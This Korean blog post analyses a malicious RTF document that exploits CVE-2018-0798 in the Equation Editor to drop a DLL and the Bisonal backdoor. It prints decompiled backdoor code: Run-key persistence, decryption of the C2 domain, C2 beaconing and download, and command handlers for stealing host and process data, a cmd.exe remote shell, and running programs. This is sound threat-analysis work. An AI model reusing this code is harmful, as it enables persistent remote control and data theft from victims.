1. 목차
2. 악성코드 개요
2.1) 개요
악성 문서파일이 담긴 스팸메일 공격방식은 예전부터 꾸준히 사용되었던 악성코드 유포방법 중 하나이다. 이번에는 RTF(Rich Text Format) 문서 취약점을 이용한 악성코드를 분석해볼 것이다. RTF는 MS에서 개발한 문서 형식이며, 서식있는 텍스트 파일과 일반 텍스트 파일의 혼합을 뜻한다.
일반적으로 MS Word 로 RTF 문서를 편집할 수 있으며 이번에 분석하려는 악성 RTF문서는 내부 수식편집기에 존재하는 취약점(CVE-2018-0798)을 이용하여 쉘코드를 수행시킨다. 따라서 문서 내부의 쉘코드를 분석하고 어떠한 악성행위를 하는지 분석하는 것을 목표로 할 것이다.
2.2) 분석 환경
분석 환경
Index | Tags |
---|---|
OS | WIndow7Window10 |
Tools | FakenetPE-bearPe-studioProcess-HackerProcmonx32dbg |
Sandbox | Any-run |
분석 대상 - RTF
Name | Tags |
---|---|
MD5 | 221b9de416d42a979288cfa196912af4 |
SHA-256 | 9d99badebbfc6616d9a74dbfced6b7db9097d274366a232025469980f9a229a0 |
File type | Rich Text Format |
File size | 79.24 MB |
Creation Time | 2019-12-23 23:37:00 |
Function | DropperTrojaninfo-steal |
분석 대상 - intel.wll
Name | Tags |
---|---|
MD5 | 15af764731c257caf1ee26d1cfc049a9 |
SHA-256 | 23d263b6f55ac81f64c3c3cf628dd169d745e0f2b264581305f2f46efc879587 |
File type | Win32 DLL |
File size | 534.00 KB (546816 bytes) |
Creation Time | 2019-12-24 08:21:14 |
분석 대상 - ahnlab.exe
Name | Tags |
---|---|
MD5 | 54c3752decccbcd85f9cbbcd3d67cdee |
SHA-256 | effd31b11bdc6486082967c2d8e53d979e59a88ba28e68a1c94f5a064a8a966d |
File type | Win32 EXE |
File size | 79.24 MB (83087360 bytes) |
Creation Time | 2019-12-24 06:59:14 |
3. 상세분석
3.1) 샌드박스 분석
샌드박스의 분석 결과를 확인해보자. 4개의 Http request가 확인되지만 현재 C&C 서버가 죽어있기때문에 응답이 없는것으로 확인된다.
프로세스 정보를 보면 해당 RTF 악성코드인 WINWORD.exe
가 한번 실행되면서, 수식 편집기 프로세스인 EQNEDT32.EXE
가 실행되었다. 해당 프로세스는 부모-자식 관계로 생성된 프로세스가 아니며 독립적인 프로세스이다.
그리고 다시한번 WINWORD.EXE
프로세스가 수행된 후, 하위 프로세스로 ahnlab.exe
가 생성된 것을 확인할 수 있다.
EQNED32.EXE
프로세스의 상세 정보를 확인해보자. 해당 프로세스는 " EQNED32.EXE -Embedding " 명령어로 실행된걸 알 수 있는데, 이는 정상적인 수식 편집기 기능을 하는 프로세스이지만 내부에 존재하는 취약점을 이용하여 startup folder
에 특정 파일을 생성한다는 것을 알 수 있다.
우측 정보를 보면 intel.wll 이라는 바이너리를 생성한다.
두번째 실행된 WINWORD.EXE
의 정보이다. Unusual한 실행을 한다고 분석되어 있으며 자식 프로세스로 ahnlab.exe
를 생성한다
실제 ahnlab.exe
프로세스에서 악성행위가 일어지는 것으로 추정된다. 하지만 샌드박스에서는 어떠한 행위를 하는지 아직은 알 수 없다. 단지 레지스트리에 해당 악성 바이너리를 자동 실행되게 추가한다는 것 정도만 확인할 수 있다.
ATT&CK Matrix 정보를 확인하면 다음과 같다. 총 2개 종류의 실행 방식과 2개의 지속 동작 그리고 레지스트리 query 정보를 확인할 수 있다.
모듈 로드와 관련된 정보를 확인해보면 intel.wll
파일이 startup 폴더에 드랍되었다는걸 다시한번 확인할 수 있다.
intel.wll
파일의 상세정보를 확인해보면 DLL 파일인것으로 보아 DLL injection 등의 기법으로 삽입되었을 것이다.
user execution 정보는 직접 실행시킨 RTF 문서파일로 확인된다
또한 지속 메커니즘을 위해 레지스트리에 생성한 ahnlab.exe 바이너리를 실행시키는 커맨드를 확인 할 수 있다.
마지막으로 샌드박스에서 확인한 파일 정보들을 보면 추가적으로 8.t
파일을 제일 먼저 생성한다는 것을 알 수 있다.
3.2) 정적 분석
샌드박스에서 확인한 정보를 토대로 실제 RTF 문서 파일 정보를 확인해보면 실제 RTF 문서 포맷인 것을 알 수 있다.
RTF 문서 내부에서 수식 편집기 기능을 이용하여 쉘코드가 삽입되므로, 해당 문서 내부에서 수식편집 기능에 사용되는 OLE 객체 정보를 확인해보면 2개의 OLE 객체를 확인할 수 있다.
실제 RTF 문서 내부에 embedded 형태로 저장되어 있는 첫 번째 OLE 객체인 8.t
파일을 확인 할 수 있다. 이는 샌드박스에서 확인한 파일이다. 해당 ole 객체는 package 클래스로 분류되는데 이는 rtf 문서가 열리는 동시에 해당 OLE 객체가 생성된다는 의미이다. 즉 문서가 열릴때 8.t
object()가 생성된다는 것을 알 수 있다.
8.t
파일을 확인해보면 data 형식으로 되어있으며 암호화가 되어있어 어떠한 동작을 행하는지 자세하게 알 수 없지만 샌드박스 분석 결과를 통해 intel.wll 파일을 생성한다는 것을 추측할 수 있다.
3.3) 행위 분석
현재 C&C 서버가 존재하지 않으므로 RTF 문서를 실행시켜도 샌드박스에서 분석한 내용을 확인할 수 없다. 따라서 fake C&C 서버를 실행시켜야 한다. 이는 fakenet 프로그램을 이용하였다.
우측 상단이 fakenet 프로그램이며, 우측 하단에서는 생성되는 파일을 확인할 것이다. 마지막으로 좌측 프로세스 모니터를 이용하여 프로세스 일련의 과정을 확인해 볼것이다.
RTF 문서를 처음 실행시키면 8.t파일이 생성됨과 동시에 intel.wll 파일이 생성되었다. 이제 RTF 문서를 끄고 다시한번 실행시켜보자
ahnlab.exe 파일이 생성된 걸 볼 수 있다.
fakenet에서 저장된 패킷을 확인해보면 샌드박스에서 확인한 dns 쿼리 요청와 http reuqest(사진에는 없음)을 볼 수 있다. 현재 해당 서버는 죽어있기 때문에 실제 어떠한 정보를 요청했는지는 정확히 알 수 없다.
프로세스 모니터 정보를 확인해보면 svchost.exe
프로세스 하위에 수식편집기 프로세스인 EQNEDT32.EXE
를 확인할 수 있다. 현재 두번 RTF 문서를 실행시켰으므로 두 개의 프로세스가 확인된다.
밑에쪽을 보면 실행시킨 문서인 WINWORD.EXE
두 개의 프로세스를 확인할 수 있다. 두 번째로 실행시킨 WINWORD.EXE
하위에 ahnlab.exe
프로세스가 생성되어있는 걸 볼 수 있다.
WINWORD.EXE
, EQNEDT32.EXE
프로세스를 포함 시킨 뒤, 필터를 걸어서 확인해보면 8.t파일을 생성한 뒤 write 작업을 한다는 것을 볼 수 있다.
그다음 8.t
를 실행시키고 intel.wll
생성 및 실행의 과정을 확인 할 수 있다. 그리고 ahnlab.exe
을 생성한다.
마지막으로 ahlab.exe를 실행시킨 뒤,
8.t
파일을 삭제한다.
ahnlab.exe 바이너리를 확인해보면 resource 영역에 중국어로 생성되었다는 정황으로 보아 중국해커 가 제작한 악성코드일 가능성이 높다.
샌드박스와 행위분석을 통해 얻은 정보를 정리하면 위와 같다. 악성 RTF가 실행되면 WINWORD.EXE
가 실행됨과 동시에 8.t
파일이 생성된다.(사진에선 표시안함)
그다음 수식 편집기의 취약점을 이용하여 intel.wll
파일이 생성된다. 다시 RTF 문서를 실행시키면 WINWORD.EXE
프로세스가 실행되면서 다시 수식 편집기의 취약점을 이용하여 intel.wll
파일을 실행시킨다. 해당 dll 내부에서 실제 악성행위를 하는 Ahnlab.exe
를 생성 및 실행한다.
3.4) 동적분석
실제 WINWORD.EXE가 실행될 때 수식 편집기의 취약점부터 동적으로 분석해보자.
실제 sub_443F6C
함수 내부에서 반복문을 돌면서 " mov [ecx], al " 명령어에 의해 overflow가 발생한다.
window10 SDK의 Gflags 기능을 이용해서 수식 편집기가 실행될 때 디버거를 붙일 것이다.
sub_443F6C
에 bp를 걸고 실행하면 다음과 같이 걸린다. 해당 함수가 return되는 위치에 bp를 걸고 stack bof를 확인해보자.
스택 창을 확인해보면 0x50505050, 0x51515151 과 같은 더미 값이 들어간 걸 확인 할 수 있다.
계속 실행해보면 스택에 0x60606060 값이 들어간 걸 확인할 수 있다.
마지막으로 또 실행해보면 스택에 0x60606060, 0x61616161 값이 들어간 걸 확인할 수 있고, 그 밑에 보이는 0x7056DA
주소가 바로 쉘코드 시작주소이다. 저 주소에 bp를 걸고 진행해보자
해당 주소로 이동하면 nop sled기법으로 인해 널 바이트들이 초반에 들어가있다. 따라서 해당 부분이 쉘코드가 확실한것을 알 수 있다.
쉘코드를 확인해보면 edi에 들어있는 데이터를 2바이트 씩 루프를 돌면서 xor 연산하는 것을 확인 할 수 있다. xor 키는 0xc390이다. 해당 부분을 덤프를 떠서 확인해보면 다음과 같다
정확한 덤프를 못떠서 그런지 자세한 정보를 얻을 순 없었지만 String을 보면 행위 분석 시에 확인한 intel.wll 이 들어가 있다. 또한 그 위에 여러 API 함수 이름들이 있는데 이를 보아 API 리졸빙 과정을 거처서 원하는 함수 주소를 얻는 것으로 확인된다.
분석은 진행하면 특정 Call 부분에서 모두 동일한 형식으로 호출하는 것을 볼 수 있다.
Call [edi+0xC] 형태로 호출을 하는데, 이는 안티 바이러스를 위한 기능으로 어느 함수가 호출되는지는 실제 저 내부를 확인하면서 분석해야한다.
call 부분에 모두 bp를 걸고 실제 호출되는 함수를 확인하면 다음과 같다
- GetTempPathA → 8.t 경로 얻기
- CreateFileA → 8.t 핸들 값 얻기
- GetFileSize → 8.t 파일 사이즈 얻기
- VirtuallAlloc - 가상 공간 할당
- ReadFile - 할당한 가상 공간에 8.t 내용 읽기
- CloseHandle - 8.t
- GetTempPathA - intel.wll
- CreateFileA - intel.wll
- WriteFile - intel.wll
- CloseHandle - intel.wll
- TerminateProcess
이를 통해 처음 RTF 문서 실행 시 생성되는 8.t
파일의 핸들을 얻은 다음, 가상공간에 할당받는다. 그다음 8.t 파일을 읽어서 메모리에 매핑시킨다. 그 후 intel.wll
파일을 생성한 뒤, writefile
함수를 이용하여 데이터를 쓴다.
즉, 8.t 를 이용하여 해당 데이터를 복호화 한 뒤, intel.wll에 넣는다는 것을 알 수 있다. 이 부분만 다시 확인해보자.
VirtualAlloc
부분은 확인해보면 실제 0x30f0000
영역을 할당받는다. readfile이 진행되면 8.t 의 내용을 저기에 복사할 것이다
실제 ReadFile 시에 0x30f0000
에 8.t 내용을 넣는다.
readfile
함수는 238 핸들을 읽어서 할당 받은 메모리에 넣는데 238 핸들은 바로
8.t
내용이다.
이제 할당받은 영역에 복사한 8.t 데이터를 복호화 하는 과정을 거친다
다음과 같이 8.t의 내용이 복호화된다.
복호화 된 데이터를 덤프를 떠서 해시 값을 확인해보자
md5 : 872ed241734deb5061a0214e50bfb7f6
그다음 CreateFile
로 시작해서 intel.wll
파일이 생성된 뒤 writefile
로 데이터를 쓴다.
intel.wll 파일을 확인해보면 dll 파일이라는 것을 알 수 있다.
그다음 수식 편집기 프로세스는 종료된다
지금까지 첫 RTF 문서가 열리면 생성되는 8.t를 복호화한 뒤 intel.wll 파일이 생성되는 것을 확인했다. 이제 fakenet 프로그램을 실행시킨 뒤 다시 한번 RTF 문서를 열어보자
두번째 RTF 문서을 열었을 때 분명 생성한 intel.wll dll 파일을 로드할 것이다. 따라서 LoadLibrary 함수에 bp를 걸고 로드되는 dll들을 하나씩 확인해보다보면 위와 같이 add-in에 심각한 문제가 발생했다고 경고창이 뜬다. 이는 삽입된 intel.wll dll파일로써 아니오를 눌러야 add-in에 추가가 된다.
보면 실제로 intel.wll을 로드한다. intel.wll dll의 dllMain함수에 하드 bp를 걸고 확인해보자
intel.wll dllMain() 을 보면 실제 sub_10001080
함수 내부에서 CommandLine 배열을 xor 연산을 진행한다. 해당 변수는 전역변수로써 복호화 하면 다음과 같은 문자열을 확인 할 수 있다
- C:\ProgramData\ahnlab.exe
그리고 실제 sub_1001000()
함수 내부에서 복호화한 ahnlab.exe 문자열을 인자로하여 Creatfile
을 호출한다. 즉 intel.wll
이 WINWORD.EXE
내부에서 로드될 때 ahnlab.exe
을 생성한다는 것을 알 수 있따
실제로 ahnlab.exe
을 생성한다.
CreateProcessA 함수로 ahnlab.exe를 실행시킨다.
그럼 실제 ahnlab.exe가 실행되는 걸 확인 할 수 있고, 샌드박스에서 확인한 것처럼 지속 메커니즘을 적용시키기 위해 레지스트리 키로 등록한다
레지스트리에 등록되었다.
그리고 시스템을 재부팅하면 실제 USB package 형태로 자동 실행된다
실제 Ahnalb.exe에서 악성행위를 할 것이다. 동적 분석에 들어가기 전, Virustoal 정보를 토대로 어떠한 행위를 하는지 알아보자
다양한 백신에서 검사된 결과를 확인해보면 다운로드기능, 백도어, 트로이젠 등의 다양한 악성 행위를 한다. 이는 Bisonal malware
라는 명칭으로서 공격자의 명령에 따라 다양한 백도어 기능과 시스템 파일 변조 기능을 갖고있다.
ahnlab.exe
정보를 확인해보면 MFC로 제작된 것을 알 수 있다.
MFC는 AfxWinMain()부터 동작을 수행한다.
3.4.1) sub_40115D
int __thiscall sub_40115D(int this)
{
HMENU v2; // eax
struct CMenu *v3; // edi
HMODULE v4; // eax
HANDLE v5; // eax
HMODULE hModule; // [esp+Ch] [ebp-14h]
LPCWSTR lpNewItem; // [esp+10h] [ebp-10h] BYREF
int v9; // [esp+1Ch] [ebp-4h]
CDialog::OnInitDialog((CDialog *)this);
v2 = GetSystemMenu(*(HWND *)(this + 32), 0);
v3 = CMenu::FromHandle(v2);
if ( v3 )
{
CString::CString((CString *)&lpNewItem);
v9 = 0;
CString::LoadStringW((CString *)&lpNewItem, 0x65u);
if ( *((_DWORD *)lpNewItem - 2) )
{
AppendMenuW(*((HMENU *)v3 + 1), 0x800u, 0, 0);
AppendMenuW(*((HMENU *)v3 + 1), 0, 0x10u, lpNewItem);
}
v9 = -1;
CString::~CString((CString *)&lpNewItem);
}
SendMessageW(*(HWND *)(this + 32), 0x80u, 1u, *(_DWORD *)(this + 96));
SendMessageW(*(HWND *)(this + 32), 0x80u, 0, *(_DWORD *)(this + 96));
hModule = LoadLibraryW(LibFileName);
*(_DWORD *)ShellExecuteW = GetProcAddress(hModule, "ShellExecuteW");
*(_DWORD *)ShellExecuteExW = GetProcAddress(hModule, "ShellExecuteExW");
*(_DWORD *)SHChangeNotify = GetProcAddress(hModule, "SHChangeNotify");
v4 = LoadLibraryW(aShlwapiDll);
SHDeleteValueA = (LSTATUS (__stdcall *)(HKEY, LPCSTR, LPCSTR))GetProcAddress(v4, "SHDeleteValueA");
CWnd::ModifyStyleEx((CWnd *)this, 0x40000u, 0x80u, 0);
CWnd::SetWindowPos((CWnd *)this, CWnd::wndTop, 0, 0, 0, 0, 0);
CWnd::ShowWindow((CWnd *)this, 0);
v5 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)run, 0, 0, 0);
CloseHandle(v5);
return 1;
}
sub_4011D5
함수부터 기능을 한다. 아래를 보면 GetProcAddess
함수를 이용하여 사용하려는 함수의 주소를 얻는다. 레지스트리 키를 삭제할 수 있는 SHDeleteValueA
함수 주소를 얻는다. 그다음 쓰레드를 생성한다
3.4.2) run - 앞에 부분
void __stdcall __noreturn run(LPVOID lpThreadParameter)
{
int v1; // ecx
WCHAR *v2; // eax
char *v3; // edi
struct hostent *v4; // eax
char *v5; // eax
BOOL v6; // esi
struct WSAData WSAData; // [esp+Ch] [ebp-3D8h] BYREF
WCHAR Filename; // [esp+19Ch] [ebp-248h] BYREF
char v9[516]; // [esp+19Eh] [ebp-246h] BYREF
__int16 v10; // [esp+3A2h] [ebp-42h]
char name[52]; // [esp+3A4h] [ebp-40h] BYREF
__time32_t Time; // [esp+3D8h] [ebp-Ch] BYREF
int v13; // [esp+3DCh] [ebp-8h] BYREF
HKEY phkResult; // [esp+3E0h] [ebp-4h] BYREF
Sleep(0x608u);
Filename = 0;
memset(v9, 0, sizeof(v9));
v10 = 0;
GetModuleFileNameW(0, &Filename, 0x104u);
if ( !RegCreateKeyW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &phkResult) )// 지속 메커니즘
{
v1 = 0;
if ( Filename )
{
v2 = &Filename;
do
{
++v1;
++v2;
}
while ( *v2 );
}
RegSetValueExW(phkResult, L"mismyou", 0, 1u, (const BYTE *)&Filename, 2 * v1);
}
RegCloseKey(phkResult);
v13 = 0x12345678;
sub_4021F6((int)&v13, 4u, (int)byte_404040, 30); //byte_404040 복호화
sub_4021F6((int)&v13, 4u, (int)&Source, 30); //Source 복호화
*(_DWORD *)&nServerPort -= 10;
Time = time(0);
v3 = ctime(&Time);
memset(&Dest, 0, 0x28u);
mbstowcs(&Dest, v3 + 4, 0xFu);
strcpy(Destination, aKs8d);
//..생략
}
- 모듈의 filename을 얻고, 지속 메커니즘을 위한 레지스트리 키를 등록한다 RegCreateKeyW
- 등록하려는 레지스트리 키 이름은
mismyou
이다. RegSetValueExW
- sub_4021f6() 함수가 두 번 사용되는데 3번째 인자만 다르다. 3번째 인자로 들어가는 값을 확인해보면 지금은 알 수 없는 값이지만 해당 함수에서 복호화가 수행된다
byte_404040의 복호화 된 문자열 : etude.servemp3.com
샌드박스에서 확인한 C&C 서버 주소이다.
Source의 복호화 된 문자열 : etude.servemp3.com
Source 문자열도 동일한 주소로 해석된다.
복호화 로직 - 토글 선택
int __cdecl sub_4021F6(int a1, unsigned int a2, int a3, int a4) { int v4; // ebx int i; // eax int v6; // esi unsigned int v7; // edx int v8; // edi char *v9; // esi int v10; // edx int result; // eax unsigned __int8 v12; // bl char *v13; // esi char v14[512]; // [esp+Ch] [ebp-204h] BYREF int v15; // [esp+20Ch] [ebp-4h] int v16; // [esp+218h] [ebp+8h] unsigned __int8 v17; // [esp+21Bh] [ebp+Bh] int v18; // [esp+21Ch] [ebp+Ch] v4 = 0; for ( i = 0; i < 256; ++i ) v14[i + 256] = i; v6 = 0; v7 = 0; do { v14[v6] = *(_BYTE *)(v7 + a1); v7 = (v7 + 1) % a2; ++v6; } while ( v6 < 256 ); v8 = 0; do { v9 = &v14[v8 + 256]; v17 = v14[v8 + 256]; v10 = ((unsigned __int8)v14[v8++] + v4 + v17) % 256; v4 = v10; *v9 = v14[v10 + 256]; v14[v10 + 256] = v17; } while ( v8 < 256 ); result = 0; v18 = 0; v16 = 0; if ( a4 > 0 ) { while ( 1 ) { v12 = v14[(result + 1) % 256 + 256]; v15 = (result + 1) % 256; v13 = &v14[v15 + 256]; v18 = (v18 + v12) % 256; *v13 = v14[v18 + 256]; v14[v18 + 256] = v12; *(_BYTE *)(v16 + a3) ^= v14[(v12 + (unsigned __int8)*v13) % 256 + 256]; result = ++v16; if ( v16 >= a4 ) break; result = v15; } } return result; }
여기까지 C2 서버의 주소를 복호화하는 루틴을 확인했다. 그 아래에는 루프를 돌면서 ip 처리를 위한 과정이 수행된다.
3.4.3) run - 뒤에 부분
void __stdcall __noreturn run(LPVOID lpThreadParameter)
{
int v1; // ecx
WCHAR *v2; // eax
char *v3; // edi
struct hostent *v4; // eax
char *v5; // eax
BOOL v6; // esi
struct WSAData WSAData; // [esp+Ch] [ebp-3D8h] BYREF
WCHAR Filename; // [esp+19Ch] [ebp-248h] BYREF
char v9[516]; // [esp+19Eh] [ebp-246h] BYREF
__int16 v10; // [esp+3A2h] [ebp-42h]
char name[52]; // [esp+3A4h] [ebp-40h] BYREF
__time32_t Time; // [esp+3D8h] [ebp-Ch] BYREF
int v13; // [esp+3DCh] [ebp-8h] BYREF
HKEY phkResult; // [esp+3E0h] [ebp-4h] BYREF
..// 생략
while ( 1 )
{
if ( !WSAStartup(0x202u, &WSAData) )
{
if ( WSAData.wVersion == 514 )
{
if ( !gethostname(name, 50) )
{
v4 = gethostbyname(name);
if ( v4 )
{
my_ip = inet_ntoa(**(struct in_addr **)v4->h_addr_list);
strcpy(byte_40497C, my_ip);
}
}
strcat(Destination, byte_40497C); //
strcat(Destination, aAkspbuTxt);
v6 = 0;
//------------------------------------------------------------------------------
// 루프를 돌면서 실제 악성 행위
while ( 1 )
{
if ( sub_401553((LPVOID)v6) != 8 )
v6 = !v6;
Sleep(dwMilliseconds);
}
//------------------------------------------------------------------------------
}
WSACleanup();
}
Sleep(0x64u);
}
}
gethostbyname()
: 주어진 호스트 name에 상응하는 hostent타입의 구조체를 반환
inet_nota()
: 로컬 PC IP 주소를 얻고, byte_4097c에 복사한다.
strcat
: Destination 변수에 IP 주소와 특정 문자열을 이어붙인다최종 Desitnation : ks8d192.168.140.130akspbu.txt → 이는 C2서버에서 다운받으려는 파일 이름이다
sub_401553
: 루프로 계속 실행
3.4.4) sub_401553 - 앞부분
int __cdecl sub_401553(LPVOID lpParameter)
{
//...
Optional[1] = 999;
Optional[0] = dword_404084;
v21 = 305419896;
decode_((int)&v21, 4u, (int)Optional, 8);
v1 = InternetOpenA(szAgent, 0, 0, 0, 0);
hInternet = v1;
if ( !v1 )
return -1;
Destination = 0;
memset(v15, 0, 0x1Cu);
v15[28] = 0;
if ( lpParameter )
strcpy(&Destination, &C2_addr2);
else
strcpy(&Destination, C2_addr1);
v2 = InternetConnectA(v1, &Destination, nServerPort, 0, 0, 3u, 0, 0);
v3 = v2;
v23 = v2;
if ( !v2 )
{
InternetCloseHandle(v1);
InternetCloseHandle(0);
return -1;
}
v4 = HttpOpenRequestA(v2, szVerb, ::Destination, 0, 0, 0, 0x84400100, 0);
v22 = v4;
if ( !v4 )
{
InternetCloseHandle(hInternet);
InternetCloseHandle(v3);
return -1;
}
if ( !HttpSendRequestW(v4, 0, 0, Optional, 8u) )
{
InternetCloseHandle(hInternet);
InternetCloseHandle(v3);
InternetCloseHandle(v4);
return -1;
}
v5 = sub_401E6C(v4); // 실제 C2에서 파일 다운 // InternetReadFile_
Size = v5;
if ( v5 <= 0 )
return -1;
v7 = (int *)operator new(v5);
v27 = v7;
memset(v7, 0, Size);
//생략
InternetOpenA
: C2 서버와 http 통신을 하기 위한 패킷 초기화user-agent 부분 : Mozilla/4.0 (compatible; MSIE 6; Windows NT 5; .NET CLR 1.1.4322
strcpy(&Destination, &C2_addr2);
: C2 서버 주소 복사
InternetConnectA
: C2 서버와 HTTP 커넥션 연결
HttpOpenRequestA
: C2 서버에 요청할 데이터 생성요청하는 파일 : "ks8d192.168.140.130akspbu.txt"
HttpSendRequestW
: 실제 C2 서버에 요청
sub_401E6C
: 내부에서 실제 C2서버에서 요청한 데이터 다운로드int __cdecl sub_401E6C(HINTERNET hFile) { DWORD dwNumberOfBytesRead; // [esp+4h] [ebp-8h] BYREF int Buffer; // [esp+8h] [ebp-4h] BYREF Buffer = 0; dwNumberOfBytesRead = 0; InternetReadFile(hFile, &Buffer, 4u, &dwNumberOfBytesRead); return Buffer; }
현재 C2 서버가 죽어서 어떠한 데이터를 받아오는지는 알 수 없다. 동적분석은 여기까지 가능하고 그 이후부터는 기 분석된 자료를 토대로 분석할 것이다.
3.4.5) sub_401553 - 뒤에 부분
int __cdecl sub_401553(LPVOID lpParameter)
{
// 생략
result = InternetReadFile_(v4);
Size = result;
if ( result <= 0 )
return -1;
new_ = (int *)operator new(result);
v27 = new_;
memset(new_, 0, Size);
if ( (int)sub_401E9B(v4, (DWORD)v7, Size) > 0 )
{
InternetCloseHandle(hInternet);
InternetCloseHandle(v23);
InternetCloseHandle(v22);
hInternet = (HINTERNET)GetOEMCP();
NumberOfBytesWritten = 0;
dword_404084 = *v7;
// 실제 C2 서버로부터 다운 받은 데이터를 기반으로 각종 악성 행위 수행
switch ( new_[1] )
{
case 200:
sub_4019A9(lpParameter); //pc정보수집
break;
case 201:
sub_401BBE(lpParameter); //실행중인 프로세스 정보 수집
break;
case 202:
sub_401EEF(new_[2], lpParameter); //특정 프로세스 종료
break;
case 203:
//cmd.exe 실행해서 특정 기능 수행
goto LABEL_23;
case 205:
sub_4022F0((size_t)(new_ + 2), lpParameter); //ab 모드로 fopen -> ab mode
break;
case 207:
sub_4023CB((int)(new_ + 2), lpParameter);//shellexcute함수로 특정 프로그램 실행
break;
case 208:
sub_402424()//등록한 레지스트리 키 mismyou 삭제
break;
case 209:
//fopen -> wb mode
//생략
sub_401E9B
해당 함수에서 다시한번 C2 서버로 데이터를 다운 받는다 - 토글 클릭DWORD __cdecl sub_401E9B(HINTERNET hFile, DWORD dwNumberOfBytesRead, DWORD dwNumberOfBytesToRead) { int v3; // ebx int v4; // edi DWORD v5; // esi DWORD result; // eax int v7; // [esp+Ch] [ebp-4h] BYREF v3 = dwNumberOfBytesRead; v4 = dwNumberOfBytesToRead; v5 = 0; v7 = 305419896; if ( (int)dwNumberOfBytesToRead <= 0 ) { LABEL_4: decode_((int)&v7, 4u, v3, dwNumberOfBytesToRead); result = v5; } else { while ( 1 ) { InternetReadFile(hFile, (LPVOID)(v5 + v3), v4, &dwNumberOfBytesRead); result = dwNumberOfBytesRead; if ( !dwNumberOfBytesRead ) break; v4 -= dwNumberOfBytesRead; v5 += dwNumberOfBytesRead; if ( v4 <= 0 ) goto LABEL_4; } } return result; }
- 다운 받은 데이터를 기준으로 행해지는 악성 행위가 switch-case 문으로 구분된다. EIP를 강제 이동시켜 각 case 문에서 수행되는 로직을 확인해보자
case 별 행위에 대한 희생자의 중요 정보들은 아래 함수의 첫 번째 인자로 들어간 뒤,
HttpSendRequestW
함수의 3번째 인자를 통해 C2 서버로 전송된다DWORD __cdecl send_user_info_to_c2(LPVOID lpOptional, DWORD dwOptionalLength, HINTERNET hInternet) { void *v3; // esi void *v4; // eax void *v6; // eax void *v7; // edi signed int v8; // eax void *v9; // ebx DWORD v10; // esi char Destination; // [esp+Ch] [ebp-24h] BYREF char v12[31]; // [esp+Dh] [ebp-23h] BYREF int v13; // [esp+2Ch] [ebp-4h] BYREF LPVOID lpOptionala; // [esp+38h] [ebp+8h] void *hInterneta; // [esp+40h] [ebp+10h] v13 = 305419896; decode_((int)&v13, 4u, (int)lpOptional, dwOptionalLength); v3 = InternetOpenA(szAgent, 0, 0, 0, 0); if ( !v3 ) return 0; Destination = 0; memset(v12, 0, 0x1Cu); v12[28] = 0; if ( hInternet ) strcpy(&Destination, &C2_addr2); else strcpy(&Destination, C2_addr1); v4 = InternetConnectA(v3, &Destination, nServerPort, 0, 0, 3u, 0, 0); hInterneta = v4; if ( !v4 ) { InternetCloseHandle(v3); InternetCloseHandle(0); return 0; } v6 = HttpOpenRequestA(v4, szVerb, ::Destination, 0, 0, 0, 0x84400100, 0); v7 = v6; if ( !v6 ) { InternetCloseHandle(v3); InternetCloseHandle(hInterneta); return -1; } if ( !HttpSendRequestW(v6, 0, 0, lpOptional, dwOptionalLength) ) { InternetCloseHandle(v3); InternetCloseHandle(hInterneta); InternetCloseHandle(v7); return -1; } v8 = InternetReadFile_(v7); lpOptionala = (LPVOID)v8; if ( v8 <= 0 ) return -1; v9 = operator new(v8); if ( (int)sub_401E9B(v7, (DWORD)v9, (DWORD)lpOptionala) > 0 ) { InternetCloseHandle(v3); InternetCloseHandle(hInterneta); InternetCloseHandle(v7); v10 = dwOptionalLength; } else { v10 = -1; } operator delete(v9); return v10; }
switch-case : 200: 사용자 pc 정보 탈취
sub_4019A9(lpParameter)
switch-case : 201: 실행중인 프로세스 정보 수집
sub_401BBE(lpParameter);
루프를 돌면서 프로세스 정보들을 얻은 뒤, send_user_info_to_c2() 함수로 C2서버에 전송한다
switch-case : 202: 특정 프로세스 강제 종료
sub_401EEF(new_[2], lpParameter);
C2 서버로부터 받은 데이터중 new_[2] 에 담기는 값은 특정 프로세스의 ID 값으로 추정된다. 해당 프로세스를 종료시키는 로직인데 아마도 보안 프로그램 등을 종료 시키는 등의 행동을 생각해볼 수 있다. 또한 Optional[]에 특정 정보를 담아서 C2 서버로 전송한다
switch-case : 203: cmd.exe 실행을 통한 특정 기능 수행
- 전역에 선언된 flag 값을 확인한다. 초기 값은 0이므로 else 문으로 분기된다
생성되는 쓰레드 핸들러에서 파이프 통신으로 새로운 자식 프로세스와 통신한다C
CommandLine : " cmd.exe "
- 통신한 정보를 WidwCharStr에 담아서 C2로 전송
- WriteFile로
MultiByteStr
에 들어있는 데이터를 쓴다
switch-case : 205: 특정 파일 fopen ( mode : ab )
sub_4022F0((size_t)(new_ + 2), lpParameter)
특정 이름의 파일을 open 한 뒤 해당 파일에 write한다. Filename은 case-209에서 결정된다
switch-case : 207: shellexcute함수로 특정 프로그램 실행
sub_4023CB((int)(new_ + 2), lpParameter);
lpFile
에는 C2서버로 받은 데이터가 담겨있는데 이 값이 만약 URL이면 ShellExecuteW
함수는 해당 URL로 접속 시도를 한다. 만약 특정 파일이면 open or 탐색의 수행을 한다. 결론적으로 해당 case에서는 특정 프로그램 수행을 할 것이다.(파일 open이든 url 접속이든, 탐색 등)
그 후 해당 결과를 C2 서버로 전송한다
switch-case : 208: 등록한 레지스트리 키 mismyou 삭제
sub_402424();
지속 메커니즘을 위해 등록한 mismyou 키 삭제 후 "exit \r\n" 을 Destination
에 담은 뒤 파일에 write
switch-case : 209: fopen -> wb mode
c2 서버로 받은 데이터의 new_+4 에 담긴 값을 FileName
으로 복사한다. 해당 파일이름으로 바로 이전에 확인한 case-208에서 파일 생성을 하는 것이다.
악성 행위에 대한 함수 별 기능을 정리하면 다음과 같다
악성 행위
case | 함수 | 기능 | 공통 |
---|---|---|---|
case 200 | sub_4019A9() | 희생자 PC 정보 수집(OS 버전, 시스템 시간, 호스트 이름) | C2 서버로 탈취 정보 전송 |
case 201 | sub_401BBE() | 실행 중인 프로세스 목록 수집 | C2 서버로 탈취 정보 전송 |
case 202 | sub_401EEF() | 특정 프로세스 강제 종료 | C2 서버로 탈취 정보 전송 |
case 203 | pipe 통신을 이용하여 cmd.exe 특정 기능 수행 | C2 서버로 탈취 정보 전송 | |
case 205 | sub_4022F0() | 특정 파일에 대한 쓰기 | C2 서버로 탈취 정보 전송 |
case 207 | sub_4023CB() | shellexcute함수로 특정 프로그램 실행 | C2 서버로 탈취 정보 전송 |
